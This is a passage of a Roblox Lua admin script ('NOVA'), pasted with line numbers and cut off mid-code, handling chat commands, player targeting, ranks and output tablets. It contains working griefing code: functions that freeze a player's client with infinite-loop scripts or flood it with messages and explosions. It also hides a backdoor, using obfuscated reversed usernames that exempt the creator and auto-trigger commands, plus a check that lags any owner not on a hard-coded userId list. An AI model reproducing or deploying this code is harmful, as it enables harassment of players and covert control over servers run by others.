                        elseif SearchType == 2 then
827
                            return string.match(Child.className:lower(), Name:lower())
828
                        elseif SearchType == 3 then
829
                            return Child:IsA(Name) or Child:IsA(Name:lower())
830
                        elseif SearchType == 4 then
831
                            return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
832
                        end
833
                        return false
834
                    end)() then
835
                        table.insert(Children, Child)
836
                    end
837
                    GetRecursiveChildren(Child, Name, SearchType, Children)
838
                end)
839
            end
840
        end)
841
    elseif type(Source) == "table" then
842
        for _,Area in pairs(Source) do
843
            pcall(function()
844
                for _, Child in pairs(Area:children()) do
845
                    pcall(function()
846
                        if (function()
847
                            if SearchType == nil or SearchType == 1 then
848
                                return string.match(Child.Name:lower(), Name:lower())
849
                            elseif SearchType == 2 then
850
                                return string.match(Child.className:lower(), Name:lower())
851
                            elseif SearchType == 3 then
852
                                return Child:IsA(Name) or Child:IsA(Name:lower())
853
                            elseif SearchType == 4 then
854
                                return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
855
                            end
856
                            return false
857
                        end)() then
858
                            table.insert(Children, Child)
859
                        end
860
                        GetRecursiveChildren(Child, Name, SearchType, Children)
861
                    end)
862
                end
863
            end)
864
        end
865
    else
866
        print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")")
867
    end
868
    return Children
869
end
870
 
871
--[[ GET REPLICATORS ]]--
872
function GetReplicators()
873
    Rtn = NOVA.Services.NetworkServer:GetChildren()
874
    for i=1,#Rtn do
875
        if not Rtn[i]:IsA("ServerReplicator") then
876
            table.remove(Rtn,i)
877
        end
878
    end
879
    return Rtn
880
end
881
 
882
--[[ GET RANKED ]]--
883
 
884
function GetRanked()
885
    local Rtn = {}
886
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
887
        if GetRank(v) ~= nil and GetRank(v) > 0 then
888
            table.insert(Rtn,v)
889
        end
890
    end
891
    return Rtn    
892
end
893
 
894
--[[ GTFO ]]--
895
function GTFO(v)
896
    coroutine.resume(coroutine.create(function()
897
        pcall(function()    CreateLocalScript("while true do end",v.Backpack)    end)
898
        pcall(function()    CreateLocalScript("while true do end",v.Character)    end)
899
        wait(0.5)
900
        pcall(function()     NOVA.Services.Debris:AddItem(v,0)                     end)
901
    end))
902
end
903
--[[ GET RID OF ]]--
904
 
905
function GetRidOf(v)
906
   
907
 if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then
908
   
909
    Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
910
 
911
   else
912
        pcall(function()
913
           
914
 coroutine.resume(coroutine.create(function()
915
           
916
v:Destroy()        
917
end))
918
       
919
end)
920
   
921
end
922
 
923
end
924
 
925
--[[ LAG ]]--
926
function Lag(v)
927
    coroutine.resume(coroutine.create(function()
928
        if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then
929
            OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4)
930
        else
931
        while wait() do
932
        for i=1, 10 do
933
        local Msg = Instance.new("Message",v.PlayerGui)
934
        Msg.Text = "JOO B LAGGIN NARB"
935
        local Blas = Instance.new("Explosion",v.PlayerGui)
936
        Blas.BlastRadius = 123456
937
   end
938
        end
939
            local H = Instance.new("Hint",NOVA.Services.Workspace)
940
            repeat
941
                H.Text = v.Name.." be gettin' lagged."
942
                H.Parent = NOVA.Services.Workspace
943
                wait()
944
            until v.Parent == nil
945
            H:Remove()
946
        end
947
    end))
948
end
949
if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end
950
--[[ GET TABLETS ]]--
951
 
952
function GetTablets(Player)
953
    local Rtn = {}
954
    for _, Tablet in pairs(NOVA.Tablets) do
955
        if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then
956
            if Tablet.Recipient.Value == Player then
957
                table.insert(Rtn, Tablet)
958
            end
959
        end
960
    end
961
    --table.insert(_tablets,Instance.new("Model"))
962
    return Rtn
963
end
964
 
965
--[[ REMOVE TABLETS ]]--
966
 
967
function RemoveTablets(Player)
968
    if Player == nil then
969
        for _,v in pairs(NOVA.Tablets) do
970
            coroutine.resume(coroutine.create(function()
971
                for i=1,10 do
972
                    v.Part.Transparency = v.Part.Transparency + 0.05
973
                    v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
974
                    v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
975
                    wait()
976
                end
977
                v:remove()
978
            end))
979
        end
980
    else
981
        for _,v in pairs(GetTablets(Player)) do
982
            coroutine.resume(coroutine.create(function()
983
                for i=1,10 do
984
                    v.Part.Transparency = v.Part.Transparency + 0.05
985
                    v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
986
                    v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
987
                    wait()
988
                end
989
                v:remove()
990
            end))
991
        end
992
    end
993
end
994
 
995
--[[ OUTPUT ]]--
996
function Output(Message, Color, Player, Stick, Func)
997
    if Player == nil or Color == nil or Player == nil then
998
        print("[NOVA.Output] Argument(s) missing or nil.")
999
        return
1000
    end
1001
   
1002
    Message = tostring(Message)
1003
    if type(Player) == "userdata" then
1004
        if Player.Character == nil or Player.Character.Head == nil then
1005
            return
1006
        end
1007
    end
1008
    if type(Player) == "string" then
1009
        for _,v in pairs(GetPlayers(Player,"NOVA")) do
1010
            Output(Message,Color,v,Stick,Func)
1011
        end
1012
        return
1013
    end
1014
 
1015
    if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end
1016
 
1017
    local Model = Instance.new("Model",NOVA.Services.Workspace)
1018
    table.insert(NOVA.Tablets, Model)
1019
    Model.Name = "Output:" .. NOVA.Bet .. Player.Name
1020
 
1021
    local Part = Instance.new("Part",Model)
1022
    Part.Transparency = 0.5
1023
    Part.CanCollide = false
1024
    Part.Locked = true
1025
    Part.Anchored = true
1026
    Part.Name = "Part"
1027
    Part.TopSurface = "Smooth"
1028
    Part.BottomSurface = "Smooth"
1029
    Part.FormFactor = "Plate"
1030
    Part.Color = Color
1031
    Part.Size = Vector3.new(2, 0.4, 3)
1032
    Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7)
1033
    Part:BreakJoints()
1034
   
1035
    local Box = Instance.new("SelectionBox",Part)
1036
    Box.Name = "SelectionBox"
1037
    Box.Adornee = Part
1038
    Box.Color = BrickColor.new(Color.r, Color.g, Color.b)
1039
    Box.Transparency = 0.75
1040
 
1041
    local Recipient = Instance.new("ObjectValue",Model)
1042
    Recipient.Name = "Recipient"
1043
    Recipient.Value = Player
1044
 
1045
Gui = Instance.new("BillboardGui")
1046
Gui.Name = "BillboardGui"
1047
Gui.Parent = Model
1048
Gui.Adornee = Part
1049
Gui.Size = UDim2.new(1, 0, 1, 0)
1050
Gui.StudsOffset = Vector3.new(0, 3, 0)
1051
local Frame = Instance.new("Frame",Gui)
1052
Frame.Name = "Frame"
1053
Frame.Size = UDim2.new(1, 0, 1, 0)
1054
Frame.BackgroundTransparency = 1
1055
Label = Instance.new("TextLabel")
1056
Label.Name = "Label"
1057
Label.Parent = Frame
1058
Label.Size = UDim2.new(1,0,1,0)
1059
Label.FontSize = "Size12"
1060
Label.TextColor3 = Color
1061
Label.Text = Message
1062
Label.BackgroundTransparency = 1
1063
   
1064
    local Click = Instance.new("ClickDetector",Part)
1065
    Click.MaxActivationDistance = 9201
1066
    Click.MouseClick:connect(function(player)
1067
        if player == Player or GetRank(player) > GetRank(Player) then
1068
            if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss")  then
1069
                RemoveTablets(Player)
1070
            else
1071
                coroutine.resume(coroutine.create(function()
1072
                    for i=1,10 do
1073
                        Part.Transparency = Part.Transparency + 0.05
1074
                        Box.Transparency = Box.Transparency + 0.025
1075
                        Label.TextTransparency = Label.TextTransparency + 0.1
1076
                        wait()
1077
                    end
1078
                    Model:remove()
1079
                end))
1080
               
1081
                Func(player)
1082
            end
1083
        end
1084
    end)
1085
   
1086
     coroutine.resume(coroutine.create(function()
1087
        if Stick == 0 or Stick == nil then else
1088
            pcall(function()
1089
                --[[for i=Stick,0,-0.5 do
1090
                    Label.Text = Message .. "\t(" .. i .. ")"
1091
                    wait(0.5)
1092
                end        
1093
                Model:Destroy()]]
1094
                NOVA.Services.Debris:AddItem(Model,Stick)
1095
            end)
1096
        end
1097
     end))
1098
   
1099
    return Click
1100
end
1101
 
1102
-- [ IMAGE OUTPUT ]]--
1103
function OutputImg(Image,Text,Color,Player,Stick,Func)
1104
    Tab = Output(Text,Color,Player,Stick,Func)
1105
   
1106
    BBG = Instance.new("BillboardGui",Tab.Parent)
1107
    BBG.Size = UDim2.new(5,0,6,0)
1108
    BBG.StudsOffset = Vector3.new(0, 7, 0)
1109
    BBG.Adornee = Tab.Parent
1110
   
1111
    Img = Instance.new("ImageLabel",BBG)
1112
    Img.Size = UDim2.new(1,0,1,0)
1113
    Img.BackgroundTransparency = 1
1114
    Img.Image = Image--"http://www.roblox.com/asset/?id=45120559"
1115
    return Tab
1116
end
1117
 
1118
--[[ OUTPUT MULTI ]]--
1119
 
1120
function OutputMulti(Msg,Color,Players,Stick,Func)
1121
    --if type(Players) == "Table" then
1122
        for _,v in pairs(Players) do
1123
            Output(Msg,Color,v,Stick,Func)
1124
        end
1125
    --end
1126
end
1127
 
1128
--[[ UPDATE TABLETS ]]--
1129
 
1130
function UpdateTablets()
1131
    --pcall(function()
1132
        NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease
1133
        for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
1134
            local Tablets = GetTablets(Player)
1135
            local Counter = 0
1136
            local StartCF = CFrame.new(0,0,0)
1137
           
1138
            for i = 180, -180, -360/(#Tablets ) do
1139
                pcall(function()
1140
                    Counter = Counter + 1
1141
                    if NOVA.TabletPositionRelative == true then
1142
                        StartCF = Player.Character.Torso.CFrame
1143
                    else
1144
                        StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z)
1145
                    end
1146
                    Tablets[Counter].Part.CFrame = StartCF
1147
                        * CFrame.new(0, 0, 0)
1148
                        * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0)
1149
                        * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1)))
1150
                        * CFrame.Angles(math.rad(70), 0, 0)
1151
                end)
1152
            end
1153
 
1154
            if #Tablets == 1 then
1155
                pcall(function()
1156
                    Tablets[1].Part.CFrame = Player.Torso.CFrame
1157
                        * CFrame.new(0, 0, 0)
1158
                        * CFrame.Angles(0, math.rad(0), 0)
1159
                        * CFrame.new(0, 0, -5)
1160
                        * CFrame.Angles(math.rad(70), 0, 0)
1161
                end)
1162
            end
1163
        end
1164
        wait()
1165
    --end)
1166
end
1167
--[[ GET PLAYERS RAW ]]--
1168
function GetPlayersRaw()
1169
    return NOVA.Services.Players:GetPlayers()
1170
end
1171
 
1172
--[[ GET PLAYERS ]]--
1173
function GetPlayers(Name,Speaker)
1174
    if type(Player) == string or Player == nil then Player = Instance.new("Model") end
1175
    local OldName = Name
1176
    local Name = Name:lower()
1177
    local Players = GetPlayersRaw()
1178
    local Rtn = {}
1179
    for i=1,#Name do
1180
        if Name:find(",") then
1181
            local Split = 0
1182
            for i=1,#Name do
1183
                if Name:sub(i,i) == "," then
1184
                    Split = i
1185
                end
1186
            end
1187
            for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do
1188
                table.insert(Rtn,v)
1189
            end
1190
            Name = Name:sub(1,Split-1)
1191
        end
1192
    end
1193
    if Name == "external players" then
1194
        for _,v in pairs(NOVA.ExternalPlayersList) do
1195
            if GetRank(Speaker) >= GetRank(v) then
1196
                table.insert(Rtn,v)
1197
            else
1198
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1199
            end
1200
        end
1201
    elseif Name == "all" then
1202
        for _,v in pairs(Players) do
1203
            if GetRank(Speaker) >= GetRank(v) then
1204
                table.insert(Rtn,v)
1205
            else
1206
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1207
            end
1208
        end
1209
    elseif Name == "others" then
1210
        for _,v in pairs(Players) do
1211
            if v ~= Speaker then
1212
                if GetRank(Speaker) >= GetRank(v) then
1213
                    table.insert(Rtn,v)
1214
                else
1215
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1216
                end
1217
            end
1218
        end
1219
    elseif Name == "random" then
1220
        local Person = Players[math.random(1,#Players)]
1221
        if GetRank(Speaker) >= GetRank(Person) then
1222
            table.insert(Rtn,Person)
1223
        else
1224
            Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1225
        end
1226
    elseif Name == "me" or Name == "not me" or Name =="notme" then
1227
        table.insert(Rtn,Speaker)
1228
    elseif Name == "vetrans" then
1229
        for _,v in pairs(Players) do
1230
            if v.AccountAge > 365 then
1231
                if GetRank(Speaker) >= GetRank(v) then
1232
                    table.insert(Rtn,v)
1233
                else
1234
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1235
                end
1236
            end
1237
        end
1238
    elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then
1239
        for _,v in pairs(Players) do
1240
            if v.AccountAge < 365 then
1241
                if GetRank(Speaker) >= GetRank(v) then
1242
                    table.insert(Rtn,v)
1243
                else
1244
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1245
                end
1246
            end    
1247
        end
1248
    elseif Name == "newbs" or Name == "noobs" then
1249
        for _,v in pairs(Players) do
1250
            if v.AccountAge < 60 then
1251
                if GetRank(Speaker) >= GetRank(v) then
1252
                    table.insert(Rtn,v)
1253
                else
1254
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1255
                end
1256
            end    
1257
        end
1258
    elseif Name == "targeted" then
1259
        for _,v in pairs(NOVA.Targeted) do
1260
            if GetRank(Speaker) >= GetRank(v) then
1261
                table.insert(Rtn,v)
1262
            else
1263
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1264
            end
1265
        end
1266
    elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then
1267
        for _,v in pairs(Players) do
1268
            if not IsTargeted(v) then
1269
                if GetRank(Speaker) >= GetRank(v) then
1270
                    table.insert(Rtn,v)
1271
                else
1272
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1273
                end
1274
            end
1275
        end
1276
elseif string.sub(Name,1,5) == "rank " then
1277
        local ToKillRank = string.sub(Name,6)
1278
for i,v in pairs(game.Players:GetPlayers()) do
1279
if GetRanked(v) == ToKillRank then
1280
if GetRank(Speaker) >= GetRank(v) then
1281
                            table.insert(Rtn,v)
1282
                        else
1283
                            Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1284
                        end
1285
end
1286
end
1287
    elseif Name:sub(1,4) == "not " then
1288
        for _,v in pairs(Players) do
1289
            for _,Check in pairs(Players) do
1290
                if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then
1291
                    if v ~= Check then
1292
                        if GetRank(Speaker) >= GetRank(v) then
1293
                            table.insert(Rtn,v)
1294
                        else
1295
                            Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1296
                        end
1297
                    end
1298
                end
1299
            end
1300
        end
1301
    else
1302
        for _,v in pairs(Players) do
1303
            if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then
1304
                if GetRank(Speaker) >= GetRank(v) then
1305
                    table.insert(Rtn,v)
1306
                else
1307
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1308
                end
1309
            end
1310
        end
1311
    end
1312
    return Rtn
1313
end
1314
 
1315
--[[ ON CHATTED ]]--
1316
function OnChatted(Msg,Speaker)
1317
    coroutine.resume(coroutine.create(function()
1318
        if NOVA.Removed == false then
1319
            if Msg:find(" --") then
1320
                for i=1,#Msg do
1321
                    if Msg:sub(i,i+2) == " --" then
1322
                        Msg = Msg:sub(1,i-1)
1323
                        break
1324
                    end
1325
                end
1326
            end
1327
            local Data = GetRankedTable(Speaker)
1328
            if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
1329
                if NOVA.ShowChat == true then    
1330
                    if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then
1331
                        print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)))    
1332
                    else
1333
                        print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg)    
1334
                    end
1335
                end
1336
            end
1337
           
1338
            --[[ CHAT FILTERS ]]--
1339
            for _,v in pairs(NOVA.ChatFilters) do
1340
                if Msg:lower():sub(1,#v + 1) == v:lower().." " then
1341
                    Msg = Msg:sub(#v+2)
1342
                end
1343
            end
1344
       
1345
            if GetRank(Speaker) < 6 then
1346
                --[[ KILLING PHRASES ]]--
1347
                for _,v in pairs(NOVA.KillingPhrases) do
1348
                    if Msg:lower():find(v:lower()) then
1349
                        pcall(function()
1350
                            Speaker.Character:BreakJoints()
1351
                        end)
1352
                    end
1353
                end
1354
            end
1355
        local FoundKick = false
1356
                if NOVA.BadPhrases == true then
1357
            if GetRank(Speaker) <= 0 then
1358
                --[[ KICKING PHRASES ]]--
1359
                --if game.PlaceId == 113456 or game.PlaceId == 56786 then
1360
                    for _,v in pairs(NOVA.KickingPhrases) do
1361
                        if FoundKick == false then
1362
                        if Msg:lower():find(v:lower()) then
1363
                            GetRidOf(Speaker)
1364
                       FoundKick = true
1365
                            makeMessage("[NOVA]: " .. Speaker.Name .. " has been removed for using a illegal term:" .. v, NOVA.Services.Workspace)
1366
                            pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end)
1367
                        end
1368
                        end
1369
                    end
1370
                end
1371
            end
1372
           
1373
            --[[ ANIMATIONS ]]--
1374
            for _,v in pairs(NOVA.Animations) do
1375
                if Speaker.Name == v.Who then
1376
                    if Msg:lower():find(v.Name:lower()) then
1377
                        pcall(function()
1378
                            CreateLocalScript([[
1379
                            local Animation = Instance.new("Animation",workspace)
1380
                            Animation.Name = "Dylanbuil's Animation"
1381
                            Animation.AnimationId = "]]..v.Id..[["
1382
                            local hum = game:GetService("Players").LocalPlayer.Character.Humanoid
1383
                            local anim_feet = hum:LoadAnimation(Animation)
1384
                            local current = anim_feet
1385
                            current:Play(0.5)
1386
                            ]],Speaker.Backpack)
1387
                        end)
1388
                    end
1389
                end
1390
            end
1391
           
1392
            Num = 1
1393
            Sep = nil
1394
                           
1395
            if Msg:sub(1,3) == NOVA.Bet .. "do" then
1396
           
1397
                for i=4,#Msg do
1398
                    if Msg:sub(i,i) == NOVA.Bet .. "" then
1399
                        Sep = i
1400
                        break
1401
                    end
1402
                end
1403
               
1404
                if Sep ~= nil then
1405
                    Num = tonumber(Msg:sub(4,Sep-1))
1406
                end
1407
               
1408
                Msg = Msg:sub(Sep)
1409
            end
1410
           
1411
            table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg})
1412
           
1413
            if Data.Rank < 6 and Data.Rank >= 0 then
1414
                if Num > (GetRank(Speaker) + 1 )*10 then
1415
                    Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5)
1416
                    Num = 0
1417
                end
1418
            end          
1419
            for i=1,Num do
1420
                if NOVA.Canceled == true then NOVA.Canceled = false break end
1421
                for _,CMD in pairs(NOVA.Commands) do
1422
                    if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then
1423
                        RemoveTablets(Speaker)
1424
                        Output("Name : "..CMD.Name,Data.Color,Speaker)
1425
                        Output("Rank : "..CMD.Rank,Data.Color,Speaker)
1426
                        Output("Command : "..CMD.Command,Data.Color,Speaker)
1427
                        Output("Arguments : "..CMD.Args,Data.Color,Speaker)
1428
                        Output("Description : "..CMD.Description,Data.Color,Speaker)
1429
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
1430
                    elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then
1431
                        if Data.Rank ~= nil and Data.Rank >= CMD.Rank then
1432
                            if NOVA.Overrided == true and Data.Rank < 7 then
1433
                                Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15)
1434
                            else
1435
                                local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end))
1436
                                if not a then
1437
                                    Output(b,NOVA.Colors.Red,Speaker,15)
1438
                                else
1439
                                    table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name})
1440
                                end
1441
                            end
1442
                        else
1443
                            table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."})
1444
                            print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.")
1445
                            Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7)
1446
                        end
1447
                       
1448
                    end
1449
                end    
1450
                wait()
1451
            end                
1452
        end
1453
    end))
1454
end
1455
 
1456
--[[ ADD COMMAND ]]--
1457
function AddCommand(Name,Command,Rank,Description,Args,Function)
1458
    for i,v in pairs(NOVA.Commands) do
1459
        if v.Command == Command then
1460
            table.remove(NOVA.Commands,i)
1461
        end
1462
    end
1463
    table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function})
1464
end
1465
 
1466
--[[ BACKUP PROCEDURE ]]--
1467
pcall(function()
1468
    NOVA.Backup = script:children()[2].Value
1469
end)
1470
 
1471
--[[ NIL SUPPORT ]]--
1472
game:GetService("Chat").Chatted:connect(function(Part,Message,Color)
1473
    local Split = GetSplit(Message)
1474
    OnChatted(Message:sub(Split+1),Message:sub(Split-1))
1475
end)
1476
 
1477
--[[ Safety Procedure # 1 ]]--
1478
pcall(function()
1479
    NOVA.LocalScript.Parent = nil
1480
end)
1481
for _,v in pairs(NOVA.Plugins) do
1482
    pcall(function()
1483
        v.Parent = nil
1484
    end)
1485
end
1486
pcall(function()
1487
    script:ClearAllChildren()
1488
end)
1489
 
1490
--[[ Safty Procedure # 2 ]]--
1491
for _,v in pairs(GetRecursiveChildren(workspace)) do
1492
    if v:IsA("StringValue") or v:IsA("IntValue") then
1493
        pcall(function()
1494
            v:remove()
1495
        end)
1496
    end
1497
end
1498
 
1499
--[[ SCRIPT LOGGING PROCEDURES ]]--
1500
for _,Service in pairs(NOVA.Services) do
1501
    pcall(function()
1502
        Service.DescendantAdded:connect(function(v)
1503
            if v:IsA("BaseScript") then
1504
                table.insert(NOVA.LoggedScripts,v)
1505
            end
1506
        end)
1507
    end)
1508
end
1509
 
1510
for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do
1511
    pcall(function()
1512
        table.insert(NOVA.LoggedScripts,v)
1513
    end)
1514
end
1515
 
1516
--[[ GLOBAL FUNCTIONS ]]--
1517
function SetGlobals()
1518
    if NOVA.UseGlobals == true then
1519
        _G.NOVACommands = function(Msg,Speaker,Players,Password)
1520
            if Password == "grandma" then
1521
                NOVA.ExternalPlayersList = {}
1522
                for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end
1523
                OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker)
1524
            end
1525
        end
1526
 
1527
        _G.RemoveNOVA = function(Pass)
1528
            if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then
1529
                NOVA.Removed = true
1530
                NOVA = {}
1531
                error("Unknown Exception")()
1532
                script.Disabled = true
1533
                script:Remove()
1534
            else
1535
                return false
1536
            end
1537
        end
1538
 
1539
        _G.NOVAOverride = function(Player,Password)
1540
            if Password == nil then Password = "" end
1541
            CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player)
1542
            return CanOverride
1543
        end
1544
    elseif NOVA.UseGlobals == false then
1545
        _G.NOVACommands = nil
1546
        _G.RemoveNOVA = nil
1547
        _G.NOVAOverride = nil
1548
    end
1549
end
1550
 
1551
--[[ INITIAL STARTUP ]]--
1552
 
1553
SetGlobals()
1554
UpdatePlayerPlugins()
1555
 
1556
if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
1557
    for _,v in pairs(NOVA.LoggedScripts) do
1558
        if v:IsA("LocalScript") and v:FindFirstChild("DSource") then
1559
            NOVA.LocalScript = v:Clone()
1560
        elseif v:IsA("Script") and v:FindFirstChild("DSource") then
1561
            NOVA.NormalScript = v:Clone()
1562
        end
1563
    end
1564
end
1565
 
1566
for _,v in pairs(GetPlayersRaw()) do
1567
    pcall(function()
1568
        coroutine.resume(coroutine.create(function()
1569
            table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
1570
            pcall(function()
1571
                v.PlayerGui.NOVACMD:Remove()
1572
            end)
1573
           
1574
            if GetRankedTable(v)==nil then
1575
                SyncRankInSingular(v)
1576
                repeat wait() until GetRankedTable(v) ~= nil
1577
            end
1578
           
1579
            local Data = GetRankedTable(v)
1580
           
1581
            v.Chatted:connect(function(Msg)
1582
                OnChatted(Msg,v)
1583
            end)
1584
            coroutine.resume(coroutine.create(function()
1585
                repeat wait() until v:FindFirstChild("Backpack") ~= nil
1586
                CreateLocalScript(PlayerPlugins,v.Backpack)
1587
            end))
1588
        end))
1589
    end)
1590
end
1591
 
1592
--[[ PLAYER ADDED ]]--
1593
NOVA.Services.Players.PlayerAdded:connect(function(v)
1594
    if NOVA.Removed == false then
1595
        pcall(function()
1596
            table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
1597
            coroutine.resume(coroutine.create(function()
1598
                --if Data.Rank < 1 then
1599
                    if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1600
                        coroutine.resume(coroutine.create(function()
1601
                            repeat wait() until v:FindFirstChild("Backpack") ~= nil
1602
                            CreateLocalScript(PlayerPlugins,v.Backpack)
1603
                            OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v)
1604
                        end))
1605
                    end
1606
                    if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1607
                        coroutine.resume(coroutine.create(function()
1608
                            repeat wait() until v:FindFirstChild("Backpack") ~= nil
1609
                            OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v)
1610
                        end))
1611
                    end
1612
                --end
1613
                v.Chatted:connect(function(Msg)
1614
                    OnChatted(Msg,v)
1615
                end)
1616
                if GetRankedTable(v)==nil then
1617
                    SyncRankInSingular(v)
1618
                    repeat wait() until GetRankedTable(v) ~= nil
1619
                end
1620
               
1621
                local Data = GetRankedTable(v)
1622
 
1623
                OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5)
1624
           
1625
                if Data.Rank == -2 then
1626
                    if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1627
                        OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
1628
                        Lag(v)
1629
                    end
1630
                end
1631
               
1632
                if Data.Rank == -1 then
1633
                    if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1634
                        OutputMulti(v.Name.." has been removed due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
1635
                        GetRidOf(v)
1636
                    end
1637
                end
1638
               
1639
                if not Data.Rank > 0 then
1640
                    if v.AccountAge < 5 then
1641
                        if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1642
                            if v.Name:sub(1,6) == "Guest " then
1643
                                if NOVA.EnableGuests == false then
1644
                                    OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10)
1645
                                    GetRidOf(v)
1646
                                end
1647
                            else
1648
                                if not Data.Rank > 0 then
1649
                                    OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10)
1650
                                    GetRidOf(v)
1651
                                end
1652
                            end
1653
                        end
1654
                    end
1655
                end
1656
               
1657
                if NOVA.PRI == true then
1658
                    if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then                
1659
